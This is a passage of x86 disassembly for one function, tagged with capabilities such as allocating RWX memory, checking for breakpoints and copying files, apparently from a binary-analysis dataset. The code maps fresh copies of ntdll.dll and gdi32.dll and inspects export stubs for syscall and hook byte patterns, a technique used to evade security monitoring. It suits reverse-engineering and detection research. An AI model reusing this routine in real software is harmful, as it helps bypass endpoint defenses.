Function at 0x52d696
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x14
call fcn.005a3179
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 5
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
push 0x6c
call fcn.005a3179
add esp, 4
mov dword [ebp - 0x20], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x1b
rep stosd dword es:[edi], eax
add ebx, 0x68
push ebx
push 0x88
call fcn.005a3179
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x6c6a9a
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov dword [ebp - 0x24], 0
push 8
call fcn.005a3179
add esp, 4
mov dword [ebp - 0x28], eax
mov edi, eax
mov esi, 0x6c679d
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x2c], 0
push 8
call fcn.005a3179
add esp, 4
mov dword [ebp - 0x30], eax
mov edi, eax
mov esi, 0x6c679d
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov ebx, dword [0x8322a4]
call fcn.0052815a
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x530aaa
xor ecx, ecx
lea eax, [ebp - 4]
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 3
jg 0x530aa7
cmp dword [ebp - 4], 1
jne 0x52d7d3
mov eax, str.ntdll.dll
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x52d7ca
push ebx
call fcn.005a317f
add esp, 4
pop eax
mov dword [ebp - 8], eax
jmp 0x52d82a
cmp dword [ebp - 4], 2
jne 0x52d7fc
mov eax, 0x6c6a83
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x52d7f3
push ebx
call fcn.005a317f
add esp, 4
pop eax
mov dword [ebp - 8], eax
jmp 0x52d82a
cmp dword [ebp - 4], 3
jne 0x52d825
mov eax, str.gdi32.dll
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x52d81c
push ebx
call fcn.005a317f
add esp, 4
pop eax
mov dword [ebp - 8], eax
jmp 0x52d82a
jmp 0x530aaa
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 1
lea eax, [ebp - 8]
push eax
call fcn.00530bf5
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
call fcn.00531d64
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x52d878
push ebx
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x52d888
push ebx
call fcn.005a317f
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x52d89c
push ebx
call fcn.005a317f
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
call fcn.00531f69
mov dword [ebp - 0x3c], eax
push dword [ebp - 8]
push 0x6c6a98
push dword [ebp - 0x3c]
mov ecx, 3
call fcn.0052d63a
add esp, 0xc
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x52d8d3
push ebx
call fcn.005a317f
add esp, 4
mov dword [ebp - 0x44], esp
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x40]
call dword [sym.imp.kernel32.dll_CopyFileA]
nop
nop
nop
nop
cmp dword [ebp - 0x44], esp
je 0x52d907
push 0x267
push 0x40203dd
push 6
call fcn.005a3185
add esp, 0xc
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x52d917
push ebx
call fcn.005a317f
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x52d92a
mov eax, 0x6c667a
push eax
push 1
mov ebx, 0x268
call fcn.005a58e0
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x52d954
push ebx
call fcn.005a317f
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
call fcn.0052ceab
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x52d977
mov eax, 0x6c667a
push eax
push 1
mov ebx, 0x244
call fcn.005a5950
add esp, 0x10
push 1
push 0
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x1c]
call fcn.0053201a
test eax, eax
je 0x52d9c0
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0x40], ebx
mov ebx, dword [ebp - 0x40]
cmp word [ebx], 0x10b
jne 0x52d9c0
mov eax, 1
jmp 0x52d9c5
mov eax, 0
test eax, eax
je 0x530aa0
mov dword [ebp - 0x24], 0
mov ebx, dword [ebp - 0x20]
add ebx, 0x3c
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push 0x2000
push 0x1000
call fcn.005323bb
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], esp
push 0x40
push dword [ebp - 0x50]
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
push 0
push 0xffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0x54], esp
je 0x52da5f
push 0x433
push 0x40203dd
push 6
call fcn.005a3185
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
add ebx, 0x40
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
call fcn.005323de
push 8
call fcn.005a3179
add esp, 4
mov dword [ebp - 0x3c], eax
mov edi, eax
mov esi, 0x6c679d
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 0
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
call fcn.0053255f
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
push ebx
call fcn.005a317f
add esp, 4
mov eax, dword [ebp - 0x40]
xor ecx, ecx
push eax
lea eax, [ebp - 0x2c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x52dc2c
mov ebx, dword [ebp - 0x28]
call fcn.00523cd0
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x52db04
push 0x51a
push 0x40203dd
push 4
call fcn.005a3185
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x52db21
push 0x51a
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
push dword [ebp - 0x24]
call fcn.0052d273
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x28]
call fcn.00523cd0
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x52db71
push 0x54c
push 0x40203dd
push 4
call fcn.005a3185
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x52db8e
push 0x54c
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push dword [ebp - 0x1c]
call fcn.0052d273
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x28]
call fcn.00523cd0
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x52dbde
push 0x54c
push 0x40203dd
push 4
call fcn.005a3185
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x52dbfb
push 0x54c
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
mov ebx, dword [ebp - 0x54]
push dword [ebx]
push dword [ebp - 0x50]
push dword [ebp - 0x44]
call fcn.005323de
pop eax
pop ebx
pop ecx
jmp 0x52dacf
add esp, 0xc
push 1
push dword [ebp - 0x10]
push dword [ebp - 0x24]
call fcn.00532b5e
mov ebx, dword [ebp - 0x28]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x52dc5a
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x52dc56
imul eax, dword [ebx]
jmp 0x52dc4b
mov ecx, eax
test ecx, ecx
je 0x52dc82
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.005a317f
add esp, 4
pop ebx
call fcn.005a317f
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x52dc60
call fcn.005a317f
add esp, 4
mov eax, 0x6c679d
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.00533a7f
xor ecx, ecx
push eax
lea eax, [ebp - 0x2c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x530a84
cmp dword [ebp - 4], 1
jne 0x52ddf9
mov ebx, dword [ebp - 0x30]
call fcn.00523cd0
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x52dce6
push 0x6bd
push 0x40203dd
push 4
call fcn.005a3185
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x52dd03
push 0x6bd
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x3c]
mov eax, dword [ebx]
test eax, eax
jne 0x52dd31
mov eax, 0x6c667a
push eax
push 2
mov ebx, 0x144
call fcn.005a5960
add esp, 0x1c
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x5a
jne 0x52dde7
mov ebx, dword [ebp - 0x30]
call fcn.00523cd0
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x52dd78
push 0x70c
push 0x40203dd
push 4
call fcn.005a3185
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x52dd95
push 0x70c
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x4c], ebx
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebx]
test eax, eax
jne 0x52ddc3
mov eax, 0x6c667a
push eax
push 2
mov ebx, 0x144
call fcn.005a5960
add esp, 0x1c
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x77
jne 0x52dde7
xor eax, eax
jmp 0x52ddec
mov eax, 1
test eax, eax
je 0x52ddf9
jmp 0x530a7c
mov ebx, dword [ebp - 0x30]
call fcn.00523cd0
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x52de20
push 0x7b8
push 0x40203dd
push 4
call fcn.005a3185
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x52de3d
push 0x7b8
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x3c], ebx
push 8
call fcn.005a3179
add esp, 4
mov dword [ebp - 0x40], eax
mov edi, eax
mov esi, 0x6c679d
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 0
lea eax, [ebp - 0x40]
push eax
push 0x20
lea eax, [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
call fcn.00534695
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
push ebx
call fcn.005a317f
add esp, 4
cmp dword [ebp - 0x44], 0
je 0x52ded7
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0
cmp eax, ecx
jl 0x52debf
push 0x7f2
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
cmp byte [ebx], 0xb8
jne 0x52ded7
mov eax, 1
jmp 0x52dedc
mov eax, 0
test eax, eax
je 0x530a7c
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x30]
call fcn.00523cd0
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x52df14
push 0x81d
push 0x40203dd
push 4
call fcn.005a3185
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x52df31
push 0x81d
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x40], ebx
mov ebx, dword [ebp - 0x40]
mov eax, dword [ebx]
test eax, eax
je 0x52df5c
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x3c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x52df6f
push ebx
call fcn.005a317f
add esp, 4
pop eax
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], 0
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52dfbb
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52dfef
and eax, 0xff
jmp 0x52e044
cmp ecx, 0x80000201
jne 0x52dffa
cwde
jmp 0x52e044
cmp ecx, 0x80000301
je 0x52e044
cmp ecx, 0x80000401
je 0x52e044
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52e034
cmp ecx, 0x80000601
je 0x52e039
push 0x8a5
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52e03f
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov ebx, dword [0x8322a8]
add ebx, 4
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp dword [ebx], 5
jne 0x52e080
mov ebx, dword [0x8322a8]
add ebx, 8
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp dword [ebx], 0
jne 0x52e080
mov eax, 1
jmp 0x52e085
mov eax, 0
test eax, eax
je 0x52e7c6
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 9
cmp eax, ecx
jl 0x52e0b5
push 0xcc3
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xcd
jne 0x52e106
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xa
cmp eax, ecx
jl 0x52e0ee
push 0xcec
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0x2e
jne 0x52e106
mov eax, 1
jmp 0x52e10b
mov eax, 0
test eax, eax
je 0x52e7c1
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xb
cmp eax, ecx
jl 0x52e13b
push 0xd38
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52e2c9
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0xd
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52e180
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52e1b4
and eax, 0xff
jmp 0x52e209
cmp ecx, 0x80000201
jne 0x52e1bf
cwde
jmp 0x52e209
cmp ecx, 0x80000301
je 0x52e209
cmp ecx, 0x80000401
je 0x52e209
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52e1f9
cmp ecx, 0x80000601
je 0x52e1fe
push 0xd84
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52e204
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52e255
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52e2b1
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xb
cmp eax, ecx
jl 0x52e2f1
push 0xdf4
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
jne 0x52e3bd
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52e349
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52e3a5
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xb
cmp eax, ecx
jl 0x52e3e5
push 0xe69
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xe9
jne 0x52e7c1
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
push 0x10
push dword [ebp - 0x38]
call fcn.0052d273
mov dword [ebp - 0x38], eax
push 0x80000301
push 0
push 0xd
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52e43d
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
cmp ecx, 0x80000101
jne 0x52e47d
and eax, 0xff
jmp 0x52e4d2
cmp ecx, 0x80000201
jne 0x52e488
cwde
jmp 0x52e4d2
cmp ecx, 0x80000301
je 0x52e4d2
cmp ecx, 0x80000401
je 0x52e4d2
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52e4c2
cmp ecx, 0x80000601
je 0x52e4c7
push 0xf03
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52e4cd
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
push eax
push dword [ebp - 0x38]
call fcn.0052d273
mov dword [ebp - 0x38], eax
push 8
call fcn.005a3179
add esp, 4
mov dword [ebp - 0x3c], eax
mov edi, eax
mov esi, 0x6c679d
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 0
lea eax, [ebp - 0x3c]
push eax
push 0x20
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x38]
call fcn.00534695
mov ebx, dword [ebp - 0x3c]
push ebx
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0
cmp eax, ecx
jl 0x52e544
push 0xfa7
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52e6d2
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52e589
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52e5bd
and eax, 0xff
jmp 0x52e612
cmp ecx, 0x80000201
jne 0x52e5c8
cwde
jmp 0x52e612
cmp ecx, 0x80000301
je 0x52e612
cmp ecx, 0x80000401
je 0x52e612
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52e602
cmp ecx, 0x80000601
je 0x52e607
push 0xff3
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52e60d
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52e65e
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52e6ba
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0
cmp eax, ecx
jl 0x52e6fa
push 0x1063
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
jne 0x52e7c1
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52e752
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52e7ae
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
jmp 0x530a7c
mov ebx, dword [0x8322a8]
add ebx, 0x1c
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp dword [ebx], 0
je 0x53029b
mov ebx, dword [ebp - 0xc]
add ebx, 0x10
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 5
cmp eax, ecx
jl 0x52e818
push 0x11a7
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
